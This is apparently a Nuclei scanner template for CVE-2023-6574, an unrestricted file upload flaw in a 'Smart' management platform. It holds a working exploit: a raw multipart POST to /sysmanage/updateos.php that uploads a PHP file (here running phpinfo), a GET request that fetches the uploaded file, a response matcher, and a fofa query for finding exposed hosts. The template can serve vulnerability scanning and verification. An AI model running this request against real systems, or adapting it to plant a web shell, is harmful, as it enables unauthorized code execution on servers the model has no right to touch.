CVE-2023-6574

id: baizhuo_samrt_uploadinfo:  name: baizhuo_samrt_upload  author: joyboy  severity: critical  description: /sysmanage/updateos.php接口。对参数1_file_upload的操作导致上传不受限制，攻击可以上传任意文件。  metadata:    max-request: 1    fofa-query: title="Smart--管理平台"    verified: true  tags: uploadfile
requests:  - raw:      - |-        POST /sysmanage/updateos.php? HTTP/1.1        Host: {{Hostname}}        Content-Type: multipart/form-data; boundary=--------2048560995        Accept-Encoding: gzip, deflate        Accept-Language: zh-CN,zh;q=0.9        Content-Length: 805
        -----------------------------2048560995        Content-Disposition: form-data; name="1_file_upload"; filename="test.php"        Content-Type: application/octet-stream        <?=phpinfo();        -----------------------------2048560995        Content-Disposition: form-data; name="id_type"
        1        -----------------------------2048560995        Content-Disposition: form-data; name="1_ck"
        1_radhttp        -----------------------------2048560995        Content-Disposition: form-data; name="mode"
        set        -----------------------------2048560995--      - |+        GET /home/test.php HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
    req-condition: true    matchers:      - type: dsl        condition: and        dsl:          - 'contains((body_2), "PHP Version ") && status_code_2 == 200'